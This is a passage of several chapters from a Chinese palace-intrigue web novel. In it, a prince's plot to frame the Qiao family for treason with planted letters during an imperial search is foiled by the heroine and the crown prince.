“我看不是糊涂,纯粹是歹坏,对朝廷,对皇上有意见,所以才和敌国勾结,想要偷偷在大泽国使坏,孝敬他跶驽国的祖宗。” “咳,谁说不是呢,等到战争一来,这种人就负责给跶驽国传递情报,跶驽国打赢了,便过去享福,要是打输了,就继续留在这里,两不误。” 这是恒亲王府举办的宴会,桌上摆的都是好吃的,恒亲王是个喜欢热闹的人,就喜欢这样的场景。 乔镰儿也在席间,听着这样的议论,只是静静吃着茶点,并不多言。 “飞鸾郡主怎么看。”旁边有人问道。 不少目光都朝乔镰儿看过来,这其中,包括大皇子幽凉阴恻的视线。 乔镰儿斟酌了一下用语,道:“我以为,怕是以讹传讹。” 大家有点惊讶:“郡主为何这样说。” 乔镰儿举起杯盏,对着皇宫金銮殿的方向遥遥一敬,然后才道:“圣上天威,英明神武,在圣上的统治之下,大泽国士饱马腾,三百六十行行行兴盛,且风调雨顺,百姓安居乐业,因此上下齐心,北方部落联盟元气大伤,没有二十年恢复不过来,谁会那样想不开,竟然去投靠跶驽国。” “还是崛起的新秀,那就更不可能了,既然能够崛起,必然不愚蠢,也就不会做出蠢笨的选择。所以我猜,这是不实的消息。” 她这些话,让席间的人都沉思起来。 “也是,这样做纯粹是吃力不讨好,没有人会这样傻吧。” “那可不一定。”大皇子凉凉开口:“有的时候,并不是蠢不蠢的问题,是有人对圣上有意见,生出了反心,想要报复而已。” 乔镰儿笑了笑:“大皇子此言差矣,皇上福泽天下,人人莫不感恩,怎么会生出意见和反心呢。” “有的人就是狼心狗肺,不知报答,这消息传得整个京城都知道,绝不可能是空穴来风。”大皇子肯定的语气。 “不信,拭目以待。” 乔镰儿眉梢一挑,也毫不相让:“大皇子似乎很希望这件事情是真的。” 大皇子脸上抽动了一下,带着一种莫测的意味。 “真的假不了,假的真不了。” “的确,假的真不了。”乔镰儿莞尔。 席间所有人,只觉得两人之间充溢着一股火药味。 恒亲王见状,赶紧打圆场:“嘿嘿,请大家到我这里来,是为了好吃好喝,这种敏感的话题就不要讨论了,免得让有心人误传,反正叫本王不好做。” 大家都是识趣的,纷纷转移了话题,很快宴会上又是一片欢声笑语,仿佛刚才的事情并没有发生过。 大皇子手执一杯酒,细细抿着,眼角的余光却不动声色落在乔镰儿的脸上,像一条隐藏在草丛间的毒蛇,在偷偷注视着猎物。 是的,乔家训练好的三万兵,就是他的目的。 把这一支兵拿到手,他以后夺位的希望,会大大增加。 不然,乔家军就会成为太子的助力。 达到了陈副将和庞达的目的,陈副将也会带着手下四万兵,更加坚决地效忠于他。 只要这事一成,他的实力将会一下子增加不少,为以后夺位,奠定坚实的基础。 等到宴席散了,客人们离去,乔镰儿正要出园子,一道身影挡在她的面前。 是大皇子,他冷恻的脸上,似乎带着一抹得意。 “本宫看重郡主的能耐,若是郡主拿出一份诚心,以后郡主有难,本宫绝不会袖手旁观。” 虽然乔家倾向于支持太子,但如果能够争取到,大皇子也未必会下死手。 不说乔镰儿的脑子好用,乔家的男人,个个都是勇猛的将领,在战场上,一人可以抵千万兵。 “噢,有什么难,殿下未免杞人忧天了。”乔镰儿一个眼神都不想给,抬步离开。 大皇子眯起了眼睛,低低骂了一句:“不知死活的东西。” 现在乔家人还不知道,致命的炸药已经埋在乔家,就等着那一天突然爆炸。 到时候,乔家人求天天不应,叫地地不灵。 大皇子已经想象到那样的情形,乔家人一排排跪在行刑场上,快了,就在不日之后了。 这样大胆的事情,风一样到处乱吹,自然传到了皇帝的耳朵里。 “只听传来传去,没个清晰具体,到底是谁通敌谋反啊。”皇帝在早朝上阴沉着脸,浑身散发出威压的气息。 群臣们讨论起来,其中一名大臣上前。 “只怕要将高门贵族,包括那些新秀好好搜一遍,谁家通敌,一定会留有可疑的信物。” 第548章 全面搜查,不放过任何角落 皇帝皱眉:“可是这样做的话,会不会惊动太大。” 大皇子也在早朝上,他开口:“父皇,儿臣觉得,现在这个消息传得到处都是,从来没有无缘无故的事情,都是有迹可循,特别是通敌,更是不敢随意胡说。” 皇帝看着大皇子:“你也支持搜查世家和新秀。” 大皇子的神情似乎是好好斟酌过后,他肃然道:“若是真事,及早把居心叵测,对上不忠之徒揪出来,绳之以法,免得造成不可挽回的结果,若是谣传,也好止息谣言,还京城一个清静,也让父皇舒心。” 另一个大臣接道:“微臣也是这样想的,事已至此,最好查个明白,不然,怕是要引起人心惶惶,不说高门世家,这些年崛起的新秀,都要背负上嫌疑,甚至遭到另类眼光看待,这对他们来说,不是好事。” 皇帝不由得想到乔镰儿,乔家也是崛起的新秀,还掌着几万精兵,要是有人乱猜到乔家的头上,影响了镰儿的心情,镰儿献给他的荔枝和榴莲还会甜吗? 会不会带上一丝苦涩的感觉? 这样想着,皇帝立刻觉得,必须查,查一个清清楚楚。 他道:“既然闹得满城风雨,断断没有让这种事情持续发酵的道理,万一让无辜的门户也被牵连误伤,那绝非是朕想要看到的局面。” 大皇子立刻请缨:“父皇,儿臣愿意接下这个任务,将此事彻查到底,给父皇一个交代,让京城一片清明。” “儿臣保证,不会放过任何一个有嫌疑的人。” 见大皇子这样积极,皇帝眼里多了一抹赞赏,虽然他按照规矩立了东宫太子,可是心中更疼爱大皇子,毕竟是最爱的妃嫔生下的孩子。 如果不是祖上传下来的规矩,他已经封大皇子做一个实权王爷了,当然,百年之际,他会提醒太子,不要亏待了大皇子。 “好,这件事就交给你去办,由京兆尹柳大人协同,拨禁军一百,内军三百,自行去安排吧。” 大皇子回到府内,在院子里踱步。 内军他自然是要陈副将和庞达率领,那么禁军该让谁来。 他想到裴二爷是禁军中郎将,裴二爷的女儿裴清容嫁去了乔家,如果在乔家搜出东西,那么裴清容也逃不脱干系,裴二爷自然也是有猫腻的,当场就将人按下。 裴二爷有通敌之嫌,那么裴王爷呢,裴家和乔家又走得那样近,虽然是后辈少时建立的私交,父皇一直没有放在心上,但这件事一抖出来,什么样的来往都显得分外可疑。 那就裴二爷吧,做出决定,大皇子低低地笑了起来。 一箭双雕,他早就看裴家不顺眼了,异姓王居然还能屹立百年不倒,先祖和父皇难道不知道,非我族类,异姓王的存在就是一个潜在的隐患,指不定哪一天反了去。 这天下的一切,都只能是楚家的,况且裴家和乔家亲近,更是不能留。 下午,大皇子,裴二爷,京兆尹柳大人,陈副将庞达一众,率领禁军和内军共四百人出发,开始对大大小小的世家和官户进行搜查。 禁军,内军身着厚重的铠甲,配着长剑,俨然一副打仗的架势。 正准备行动,只听到一阵腾腾动静由远及近而来,犹如狂风骤雨,转眼间,太子带着一队禁军,挡在了前头,还有一支马队,打着乔家军的旗号,领头的,正是乔大成。 大皇子皱眉:“二皇弟这是什么意思,想要阻扰本宫查细作不成?” “当然不是。”太子面含淡笑:“本宫这是来帮大皇兄,免得大皇兄过于辛苦,这乔家骑军不过是碰巧路过,被本宫喊来做事。” 大皇子哪里愿意太子掺和进来,冷冷道:“可是父皇把这个任务交给本宫,便是由本宫去完成,属于本宫的事务,二皇弟就不要操这份心了吧。” 太子仍然是笑意不改:“我也与父皇请示过,协同大皇兄一同调查,父皇最疼大皇兄,不愿让你一个人受苦。” 大皇子深吸一口气,他不知道太子是不是察觉到了什么,所以连乔大成也一起带上了,但想想不可能,这件事是做得绝对隐蔽的,计划也堪称完美。 他们一直水火不相容,楚尧策别看一副风淡云轻的样子,可作为东宫太子,这些年来在无数波云诡谲中完全只身不染,次次全身而退,又怎么会简单。 怕是想要借这一次机会,挑他的错处呢。 念及此,大皇子笑了,他遵照规矩搜查,能有什么差错,太子真会异想天开。 太子想要揪他的错,还不知道是谁揪谁的错呢。 和乔家走得近的人,到时候,一个都别想逃掉,哪怕他是东宫太子。 大皇子颔了颔首:“二皇弟有心帮忙,本宫也就不推辞了,拂了二皇弟的好意,倒是让咱们兄弟不开心。” 二人相互之间打了一个“请”的手势。 搜查的队伍雷厉风行行动起来。 大皇子冷冷道:“不要放过任何一个角落,每一块墙砖,地砖,都去敲上一敲,瓦片下,水井里,盆景,古董字画等,都不能错漏。” 太子道:“手脚都干净点,谁要是身上多了东西,一律以偷窃罪论处。” 大皇子噎了一下,瞪着太子:“二皇弟,你这也未免管得太宽了吧。” 有些潜规则不好明说,兵士搜索门庭,怎么能不占一点便宜,不然会降低他们的积极性,反正这些高门贵族的钱财,没有几家是干净的,靠官员的那一点俸禄,如何能够撑得起这样大的家业。 太子这是成心跟他过不去了。 楚尧策道:“本宫也带了一百名禁军来,总不能他们遵守规矩,大皇兄带来的人却暗中做些见不得人的手脚,这要是传到父皇的耳朵里,怕是会形成两种截然相反的评价,这不是大皇兄想要看到的吧。” 大皇子嗤笑一声:“真是冠冕堂皇,太子不过是照着本宫一个靶子来打罢了,谁光明得到哪里去啊。” 第549章 趁机打人心向背之战 太子笑了笑,看着门庭里里忙碌一片的情形,虽然知道自家跟通敌叛国一点干系都扯不上,这家人还是有些紧张,毕竟这种事情,有时候莫须有就可以定罪。 太子道:“光明不光明,都有眼睛看着,不是大皇兄说了算的。” 二人之间僵持着,拔剑弩张,谁也不再说话。 不过,有太子发号施令,真的没有人敢胡来。 这一家搜了一大半,看着是差不多了,大皇子便道:“下一家,虽然要求仔细,但也不能太拖沓,本宫还要到父皇的面前交差,最多两天的时间就要搜完。” 像是忙着走过场一样。 太子也不阻止,只是对自己带来的禁军道:“好好搜一搜,谁要是藏了东西,立刻处决,本宫还要向皇上一一禀明。” 禁军听命,立刻挡在大门出口,只要出来的人,都仔仔细细摸寻一番,连发包都不放过。 大皇子看着这一幕,脸色隐隐发青。 可是太子拿父皇来压人,他也只好忍着。 陈副将见大皇子没有什么表示,也只能咽下一口恶气。 庞达则是对着陈副将摇头,飞快打了一个手势,目的要紧,这些细枝末节不要管。 比起来,他的心情是很激动的,毕竟,乔家就快要完了,现在搜索其他的门户,不过是做戏,暴风雨来临的前奏罢了。 而乔家,还蒙在鼓里,什么都不知道。 指不定还在做梦,想着以后成为真正的高门世家呢。 他们没这个希望了,所有的期待,都是竹篮打水一场空。 而乔镰儿就站在一旁,将庞达脸上快要遮掩不住的窃喜看在眼里。 要不是为了做戏做得真一点,庞达怕是恨不得大皇子带着人长驱直入乔家。 是的,今天到庞达摘果子的时候了,可是,摘得了吗? “这是什么,翡翠手镯,拿的萧老夫人的?”突然,一名内军被拿住。 内军士兵支支吾吾,求救的目光看向陈副将。 接着,又从他的身上,搜出了金戒指,银票等贵重物品和钱财。 “拖下去乱棍打死。”太子语气幽凉地吩咐。 大皇子正要出声,那一名内军已经被拖到一旁,利落按在地上,一棍子狠狠敲在他的头上,顷刻间就送他上了西天。 看到这样的情形,那些内军都吓傻了,他们没有想到,一向如清风一样疏淡的太子竟然有这样雷厉风行和狠辣的一面。 “小的不小心揣了一套头面,这就送回去。”门内,一名士兵赶紧往屋里跑。 跟在后头的几位,也悄悄返回屋内,谁知道,太子会来真的啊。 而这些人,都是陈副将带的内军,裴二爷,太子带的禁军,无一人犯规。 萧家老小整整齐齐在太子的面前跪下,感恩戴德,要不是太子,这一番搜查,家财不知道会损失多少。 比起大皇子来,太子的确更有品格和操行,也更能服众。 这是大泽国的储君,他们未来的圣上,有福了。 而现在,大皇子终于明白太子的用意,太子是在趁着这一次机会,表明他向着高门利益的姿态,在拉拢高门。 大皇子一下子血冲脑门,差点没有从七窍喷出来。 他的拳头在袖子下收紧,一种杀人的冲动在胸腔冲撞着。 “二皇弟打的好算盘啊。”大皇子压着一口恶气,一个字一个字从牙缝里挤出来,泛红的双眼像是要吃人。 这一次之后,人心疏离和亲近,泾渭分明。 楚尧策只是淡笑着,轻声问道:“大皇兄这是什么意思呢,能否讨教。” 大皇子见他装聋作哑,差点一个倒仰。 他稳了稳情绪,愤愤道:“下一家。” 太子立在原地,面上波澜不惊,也没有得志之色,仿佛未来的一切,都在操纵之中。 没错,自从乔镰儿投来诚意,他更有信心了。 此番带着禁军来“协同”大皇子,正是乔镰儿的主意,打的是人心向背之战,而且水到渠成,没有刻意之嫌。 “他们真有耐心,从这条街过去,要搜几十家,才轮到乔家。”裴时玖在空间里道。 “毕竟皇上对我还是有几分厚待,他们要做到自然而然,这样才真实。” 这样算着,要等到下午过半,搜查的队伍才会抵达乔家。 乔镰儿先回了家。 “听说有人通敌,大皇子带着内军和禁军在搜查各大家族。”裴清容道:“我父亲也跟随执行任务。” “通敌,谁敢这样做,好大的胆子。”乔溪儿一听皱眉道:“当今天下清平,圣上宽厚,还有什么不满意的要去勾结敌国。” “总有人怀着乱七八糟的心思。”乔枝枝道:“不知足的人,没有福气。” 乔镰儿听着她们的议论,心里面轻轻笑了,大家还义愤填膺呢,人家都要诬陷到头上来了。 现在,大皇子忙着搜查,乔家证明清白还不算,她不会让大皇子这些人好过的。 而她已经提前做了准备,那些东西,就在空间里,她并排放在一起。 然后把裴时玖从空间放出来。 “这是。”裴时玖拿起其中一个。 这是由稻草扎成的人偶,上面贴着纸条,身上扎满了针,五官做得粗糙歪曲,看起来很是诡异。 当他看到上面的红色字样,脸色微微一变,压低声音道。 “小丫头,你这是,胆子也太大了。” 乔镰儿却面带微笑:“不是我们胆子大,是有些人胆子大。” 裴时玖立刻明白过来了:“那,现在就行动吧。” 人偶一共有三个,大皇子,陈副将,庞达,人手一个。 乔镰儿先去了大皇子那里,把人偶放在大皇子的帷帐上。 正要离开,她想起一件事,那就是她对杜青若的承诺。 实际上,在大皇子听说杜青若的名字,神色有异的时候,杜清若的任务已经完成了。 她是乔镰儿用来测试大皇子和杜青兰之间是否有干系的手段。 现在,她该离开了。 此时此刻,杜青若坐在一个小园子里,脸上有些茫然。 大皇子要去搜乔家了,想必郡主会有应对,那么她呢,她是不是被郡主忘记了,要永远留在这里。 第550章 找到了,香炉里藏着一封信 杜青若深知,她其实也没有做什么,只是冒充一下杜青兰的姐姐而已。 虽然郡主说,只要让大皇子露出破绽,她就算给她办成了事情。 但她很清楚,这是无法跟一万两银票还有自由划等号的。 所以,郡主会不会是随口说说。 如果今天郡主不来,以后肯定都不会来了。 杜青若如坐针毡,起来不安地走来走去。 等到她一转身,一道身影出现在眼前,不是郡主是谁? 杜青若眨眨眼睛,还以为自己看花了。 “我来带你走。”乔镰儿伸出手掌,掌心躺着一颗药丸。 “把这个吃下去。” 杜青若看着那颗药,脸色有些发白,会不会是事成了,郡主要杀人灭口。 园子外传来脚步声,乔镰儿皱起眉头:“快,有人来了。” 杜青若含着眼泪,颤抖着手,慢慢接过药丸。 果然狡兔死走狗烹,她逃脱不了这样的结局。 可是,她哪里能反抗郡主呢。 一颗药吃下去,还能落得一个痛快。 反正她落到那样的地方,原本就是不想活了。 杜青若心念一决,眼睛一闭就将药丸喂到嘴里,吞咽了下去。 乔镰儿看杜青若这样视死如归的样子,心里面纳闷,但很快她就明白了,她不会是以为她要毒死她吧? 这样一想又有点好笑。 脚步声越来越近,乔镰儿把杜青若放到空间里,自己换上隐身衣,然后走了出去。 几名侍卫走进来,将小园子里好好查看了一遍。 “奇怪,刚刚明明听到人说话啊。” “可能是产生幻觉了吧。” 他们又走了。 陈副将,庞达那里,乔镰儿做好了准备,她又去一家客栈,把杜青若安排在一个房间里。 等到杜青若醒过来,就看到了陌生的床和房间,她的手好像压在什么东西上。 杜青若拿起那样东西,眼睛一下子红了,那是她的赎身契,还有一张一万两的银票。 此时此刻,杜青兰坐在她的小厅里,看着院子里张灯结彩,还铺上了一层红地毯,撒着点点碎金纸。 她的院子小是小,却布置得很是隆重,每个屋檐下都挂着一盏大红灯笼,灯笼上的刺绣繁复精致,每到夜晚,就有美丽的影子投到地面上。 可是,乔家就要完了,这些入眼大片大片喜庆的红,不过是她的一场幻梦而已。 是她此生都不能抵达的幸福。 后悔吗?杜青兰问自己,每次心里面产生这个念头,她都要想一想他的父母,她的家族,把这样的念头给压下去。 可是今天,她发现怎么压都压不住,胸腔好像被什么强烈地撕扯着,喉咙间憋得都是血腥味。 她甚至差点忍不住冲出门去,及时把那些东西从乔家清走,挽救乔家的命运。 但她终究还是忍住了。 她没办法,有乔家就没有她杜家的沉冤昭雪,有杜家的清白,就没有乔家的存在。 要恨只能恨老天,为什么要做这样的安排。 搜索的队伍,到了乔家的门前。 大皇子陈副将庞达一流,脸上出现了一种抑制不住的狂喜和激动。 终于到了,演了大半天的戏,演得他们真累啊。 乔老太和乔老头都在,听说要搜家,男人们也从营地提早回来了。 就怕那些搜查的人手脚不干净,毕竟有陈副将庞达在,指不定要针对乔家做点什么。 知道了庞达就是宋老三,害得乔溪儿流产,乔家人的眼神都带着厌恶和痛恨,要不是东宫太子和大皇子在场,非要亲手把他痛打一顿。 庞达发现,哪怕他已经改名换姓,还变了一张脸,乔家人看他的眼神依旧没有变。 那种深深的憎恶,和以前一模一样。 难道,他们已经知道他的身份? 庞达顿时有一种费尽心思东躲西藏,却被揭露出来的紧张,好像他是一只阴沟里的老鼠,不小心爬出了下水道,抬头一看看到了仇家。 但是看了看在一旁的大皇子和陈副将,顿时就觉得没什么可慌的了。 知道了又怎样,他的身后有人倚仗,大皇子是皇帝最宠爱的皇子,可以说,他的靠山是皇帝。 而且乔家马上就要完蛋了,他就等着看他们接下来的狼狈,凄惨。 他要看着乔家一家子老少跪在地上,求饶不已。 想想这些年的恶气就要全部出出来,庞达几乎快要忍不住提前放烟火。 所以他含着一抹得意的笑容,看着乔家人。 乔家人只觉得纳闷,舌头没了,手筋也被挑断了,这个庞达在得瑟什么啊。 难道说,等一下他要做什么手脚,他们还是得盯紧一点。 内军和禁军分队涌往各个轩阁,大厅,还有房间。 “爹,忙了一天,没有搜到什么吧。”裴清容问裴二爷。 “哪里有人真的敢通敌,怕只是谣传,只是例行搜索一下,别紧张。”裴二爷看到裴清容的肚子已经隆起来了,就轻声安慰她。 想不到被陈副将听到了,当场就嘲讽:“裴二爷这是什么话,例行搜索,难道裴二爷不认真对待皇上交代的事情,裴二爷这么相信没有人通敌,难道是知道了什么,觉得那些人会隐藏得很好。” 裴二爷一听来了气,瞪着陈副将:“胡说八道,我不过是在安慰女儿,我的人搜得耐心仔细,并没有逾越规矩之处,也没有不尽职的地方,倒是陈副将你,你的内军手脚不干净,都发现好几例了,这可是要报到皇上面前的,还是想着如何善了吧。” 陈副将没有想到,看起来不怎么爱说话的裴二爷如此的牙尖嘴利,顿时被噎了一下。 他哼了一声:“有没有人通敌,不是裴二爷说了算,黄天在上,不会放过任何一个为非作歹的人。” 这一次,禁军仍然像前面一样,没有区别对待,内军却搜得分外的仔细。 乔家人其实心里面都有些不安,庞达和陈副将都在,万一这一场搜索是专门针对乔家而来,欲加之罪,何患无辞。 看一眼镰儿的脸色,只见镰儿仍然一样镇定。 这时候,一个内军抱着一个香炉出来,如获至宝一般道:“搜到了,这里面藏着一封信。” 第551章 他们被耍了,像小丑一样 乔家的男人带了士兵回来,盯着这些搜索的人的手脚。 所以,他们并没有发挥的余地。 的确是在众目睽睽之下,发现香炉里有东西。 乔家人顿时就紧张了起来,相互用眼神询问着对方,谁在里面放了东西。 可是都得到了否定的答案。 大家不由得头皮一紧。 完了,怕是真的算计到头上来了。 陈副将哈哈大笑:“怪不得裴二爷说没有谁通敌呢,原来是在为女儿女婿的家里辩护啊,不知道裴二爷有没有参与进去,沆瀣一气呢。” 裴二爷也没有想到,香炉里会有东西,但他了解乔家人,是绝对不可能做出那种大逆不道的事情出来的。 他道:“不过是一封信件而已,什么内容都不知道,就想坐实罪名,没有这样的道理。” 裴二爷有这个信心,乔家人可没有,因为他们也不知道,为什么香炉里会出现一封信?是什么时候放进去的。 看家里人都是一脸的懵,肯定是有人提前做了手脚。 他们的一颗心高高悬起,有一种大祸临头的危机感。 “万一信里是通敌,裴二爷就是包庇,甚至是同谋,整个裴家都逃脱不了干系,要一同治罪。”大皇子开口。 听到这一句,裴二爷也是头皮一麻,他突然意识到一件事,若是有人算计乔家,要定死乔家的罪,他也带着整个裴家,踏入了圈套。 现在的局面,怕是深系乔家和裴家的生死存亡。 裴二爷一下子紧张了起来,他感到浑身都凉了下去。 “这个万一,可不是谁都担待得起的。”太子淡淡道:“大皇兄也未免耸人听闻那些。” “神龛上的香炉,除非节日,平时是几乎动都不会动的,自家人不能亵渎,旁人更是不会靠近,把信藏在里面,正是料定了没有人去翻香炉。”大皇子道:“若是就没有猫腻,怎么会把信藏到那种地方。” 柳大人道:“大皇子或许有些言重了,就算是乔家谨慎,把信放到香炉灰里,也只能说是不想让别人看到这封信,不一定跟通敌有关。” “光明正大的信,却要偷偷摸摸,藏藏掖掖,这本身就很说明问题。”大皇子却是一副笃定的态度。 他看乔镰儿也不说话,沉默着,似乎在勉强维持着镇定,不由得心中大快,乔镰儿再聪明,这一招她也没有预料到。 现在信已经到他们手里了,她根本不知道该怎么应对。 等于是被打了个措手不及,沦为了砧板上任他们宰割的鱼肉。 “我们乔家对皇上忠心耿耿,根本就不可能通敌。”乔老大坚决道:“而且我们也不知道,香炉里怎么会有一封信,肯定是有人神不知鬼不觉藏进去的,想要陷害于我们乔家,若是上面写了不好的,我们是不可能认的。” 陈副将发出一阵大笑:“现在才说这些,已经晚了,想要为通敌之罪洗白,哪有这么容易的事情。” 庞达也跟着笑了起来,他没有舌头,只能发出啊啊啊怪异的笑声,听起来让人极其的不舒服,那种小人得志的嘴脸,完全都体现出来了。 看着这些人一副得逞的样子,乔家人都肯定了他们心中的猜想。 大家像是坠入了冰窟,从皮肉到骨头都凉透。 乔老太一把年纪,按住了心口,乔老头的双手也是哆嗦着。 这样的局面,就算是镰儿也没办法了吧。 大家看向乔镰儿,却见她脸上没有一丝波澜,垂着眼,翻动着手掌,不知道在祈求一线转机,还是哀叹乔家命运的终结。 在这种需要明确答案的时刻,摸不透乔镰儿的想法,大家的心彻底凉了。 牧星河见乔溪儿脸色发白,赶紧护住她的肩头,将她揽在怀中。 “溪儿,没事的,信上写的是什么都还不知道,千万别垮下。” 第一胎遇到那样的情况,这一胎可能要面对更加严重的情形,他心里面都是气愤,可是现在,他什么都不能做。 乔大成也低声哄着裴清容,怀着身孕,哪里能承受这样大的情绪波动。 太子道:“大皇兄,信上的内容还没有看,你这就给乔家人定了罪,这也未免有失偏颇了吧。” “信上写的是什么,还用说吗?本宫知道太子心里面偏着乔家,说不定乔家的事情,太子也有份,所以才这么着急为乔家撇清关系。” 大皇子又顺势扯到太子的头上,要是能够把这些不顺眼的一网打尽,那别提有多爽了。 成败只在今日一役。 太子的眼里掠过一抹讥讽,那俨然是面对蠢货才会有的神色,不过转瞬即逝。 “既然大皇兄要赖在本宫的身上,看来本宫也要证明一下自己的清白了。” 太子一个身形移转,大家还没有看清,他已经抢过大皇子手上的香炉,将那一封半露的信给取出来。 然后将信交给身边的随从:“念。” 随从照着内容念道:“乔家得蒙圣恩,家业兴隆,时刻感怀于心,愿我大泽国,愿圣上福泽万年,长青不衰。” 听到这样的内容,大家都睁大了眼睛,可是心情却各有不同。 这封信完全没有问题,乔家人纷纷大松一口气,悬起的心完全放下。 原来就是一场乌龙。 大家下意识看向乔镰儿,原来镰儿不是六神无主,而是胸有成竹,是在看这些人的笑话。 一时间,心情大快。 大皇子一众人,却是变了脸色,杜青兰明明照吩咐做了,为了父母,她绝不敢违抗大皇子的命令。 可为什么会出现这样的结果。 他们被耍了,耍得实实在在,像小丑一样。 庞达完全不敢相信,也不能接受他的计划落空,他指着那封信,啊啊啊地叫着,打着手势,念出来的肯定不是真正的内容,要亲眼瞧见才作数。 大皇子上前两步,接过太子手上的信。 看清楚上面的字句,他一下子面如死灰,完完全全死心了。 陈副将,庞达,也看向这封信,脸色跟吃了死苍蝇一样难看。 乔镰儿开口:“其实,这封信是我写的。” 第552章 其实,写下通敌信的,是我们乔家人 “乔家自从来到京城,承蒙皇上厚爱,才走到这一天,自然是感恩戴德不敢忘的,在我的心中,皇上的恩是天恩,理应供在香炉里,享受最多的香火,本来这种事情我不愿张扬,毕竟对皇上的感激主要是藏在心中,不该高调地宣之于口,不然有作秀的嫌疑。想不到这件事,不知怎么就走漏了消息,竟然让有心人想要以此做文章。” 乔镰儿看向大皇子一众人,脸色冰冷,嘴角扯起一抹看狗的嘲讽:“我的这封信没有任何问题,而且是出自我的笔迹,可以勘验,怕是要让有些人失望了。” 这久以来,她一直提心吊胆,把整个乔家都扛在肩头上,就怕哪里有疏忽,让乔家真的面临危机。 到现在,她真的有大松一口气的感觉。 看着这些人吃瘪,心中大快。 庞达见功亏一篑,只觉得胸口血气翻涌,差点吐血,面上泛起一阵阵死气。 这一次扳不倒乔家,那要等到猴年马月? 他恨啊! 突然,大皇子想到了,青枫原驻地还藏着一封信,怕是乔镰儿还没有发现那里。 这件事情还有转圜的余地。 见他发青的脸上又起了生机,乔镰儿自然是明白他的想法。 “噢,对了,像这样的信,青枫原封地还有一封,就放在我大猛哥房间的被褥下,是一模一样的内容,大殿下和陈副将要去看一眼吗?” 乔镰儿这话一说,大皇子心中燃起的一点希望,又被无情地浇灭。 他的脸由青转灰,像是冒着一层黑气。 原来,乔镰儿早就知晓他们的计划,并暗中做好了应对准备。 既然她这么说了,封地的信肯定也是换过了。 大皇子深吸一口气,闭了闭眼。 “郡主好手段。” 乔镰儿面带微笑,神情是轻舟已过万重山的闲适:“大殿下慎言啊,乔家全体上下,一腔诚心,祝愿大泽国和皇上福泽绵延,谈不上手段不手段的。” 大猛站在原地一动不动,脸色透着一股凝重。 其实,乔家人很容易猜出来事情因果脉络,是有人往这两个地方放了信,被镰儿替换罢了。 前提是有人放信,那又是谁放的,还进入他的房间,放在他的被褥之下。 难道他的身边,出现了吃里扒外的东西,可是他却一直被蒙在鼓里。 那个人到底是谁? 他比较随性,能够进入他房间的,有打扫的,浣洗的,甚至是他吩咐的普通士兵。 这样一来,就比较难查了。 大皇子见计划落空,不好在这里僵持太久,免得引人猜疑。 他暗暗咬着牙根,极其不甘心地道:“下一家。” 乔家没有问题,裴二爷很高兴,手一挥带着自己的队伍赶赴下一程。 陈副将和庞达也只能作罢。 如果说刚才,庞达还是一副等着乔家倒霉的姿态,趾高气扬不可一世,现在却是垂头丧气,仿佛被霜打焉了的茄子。 在他经过身边的时候,乔大成伸脚一绊。 庞达猝不及防摔在地上,脑门都磕青一片,门牙也磕掉了一颗,顿时满嘴是血,又痛又气。 乔大成双眼望天:“抱歉啊,没有注意。” 一颗牙算得了什么,溪儿可是掉了一个孩子呢。 乔溪儿抓着牧星河的手,扭开头,双眼盛满了冷意,不想看到庞达这个人。 不然,她会起情绪,会有心情波动,会想着把他大卸八块。 还有两个月就临盆了,她必须要好好保住这个孩子。 大皇子一行人带着狼狈离去,太子稍微做了停留。 “大家受惊了,好在还了你们乔家清白,有心栽赃你们的人,怕是不会善罢甘休,以后还是小心为上。” 太子的付出,乔家人都看在眼里,好在镰儿早有防备,又有太子极力相护,才没有让大皇子这些人得逞。 这一次,防不胜防,绝不是那么好应对的。 太子离开的时候,和乔镰儿对了一个眼神,他去往的方向,是内军军署。 接下来,就要看大皇子陈副将这些人的好戏了。 乔家门里门外,恢复了清静。 但是,大家心中存了一个很大的疑惑,夹杂着愤怒。 “这两封信,是谁放的,是谁要陷害我们乔家,要把通敌的帽子扣在我们的头上。”乔老大忿忿不已。 “大家先进屋子吧。”乔镰儿道。 乔家人已经猜到,是有人暗中做了手脚,而她偷偷把信换了,才没有让整个乔家掉入深渊。 等到入了大厅,大家坐下,每个人的神情都绷着。 必须要把那个人揪出来,不然敌在暗,他们在明,还会有下一次。 “其实,写下通敌信的,不是别人,正是我们家自己人。” 大家听得大吃一惊。 “镰儿,你这是什么话,我们乔家忠君爱国,怎么会通敌。”乔老三大急。 “是的,我们乔家人就算死了,也不可能勾结敌国。”大成说。 “镰儿,是不是哪里弄错了。”乔溪儿道:“乔家人完全没有通敌的理由,这能讨到什么好?” 其他人也都义愤填膺地表态。 只有乔家二老没有说话,而是等着下文,因为他们知道镰儿这样说一定有理由。 而乔家人也断断不可能通敌。 乔镰儿从袖子里面,摸出两封信,每一个字都很大,内容占满了全篇。 “大猛哥,你就说,这是不是你的字迹。” 大猛几乎是扑了上来,迫不及待拿过信看,上面的内容,完全是投敌的决心,还有对大泽国无悔的反叛,用了很多慷慨激昂的词语,甚至诅咒发誓。 他又仔细看字迹,的确是他的亲笔,一下子他整个人都僵住了,犹如五雷轰顶,脑子半天回不过神来,只是喃喃自语。 “不是我,不是我,我不可能写这样的书信,杀了我我都不会写,为什么会这样,为什么——” 乔家人都拿过信来看,都认出了字迹,如假包换。 大家心凉了半截。 “你,你这逆子,怎么就做出这种不堪的事情来,败类,真是败类,吃了熊心豹子胆了,反了天了。”乔老三血冲脑门,一巴掌就朝大猛打过去。 第553章 登门认罪 大猛不闪不避,就这样愣在原地,他的脑子里闪过千万种可能。 会不会是什么时候他喝醉了酒,脑子一片混沌,周围又有人起哄,所以写下了乱七八糟的东西。 或者干脆是有人握着他的手,让他写下这一封亲笔通敌书信。 不管怎么样,他都该死,他差点害惨了乔家,打死他好了。 不过乔老三的巴掌没有落到大猛的脸上,就被一只手给拉住。 “三伯,冷静。” 乔老三后退一步,满脸通红,胸膛不断起伏着,颤抖的手指着大猛。 “叫我怎么冷静,我是他老子,会认不得他写的字,每一个字都不是假的,烧成灰我都认得出来。” 吕氏已经是泪流满面:“大猛,你糊涂啊,咱们乔家效忠于圣上,有哪里不好,你要生出这种心思,这下子好了,虽然镰儿化解了乔家的危机,但是你的罪孽,乔家绝不能轻易饶恕。” 他们引以为傲的儿子,怎么转眼间就成了一个通敌的败类,她不能接受,又气又悲又愤,吕氏眼皮翻着,身体发软,差点就要晕过去。 冯氏和乔云妮赶紧扶着她,给她抚着胸口和后背。 其他乔家人也都沉着脸,不想面对这件事,可这两封信就摆在他们面前,由不得他们不信。 大厅里的气氛,分外的凝重。 乔镰儿话还没有说完,没想到就要气撅两个长辈。 她一阵头疼。 “的确是大猛哥写的字,但是这封信,完全不是他的意思。” 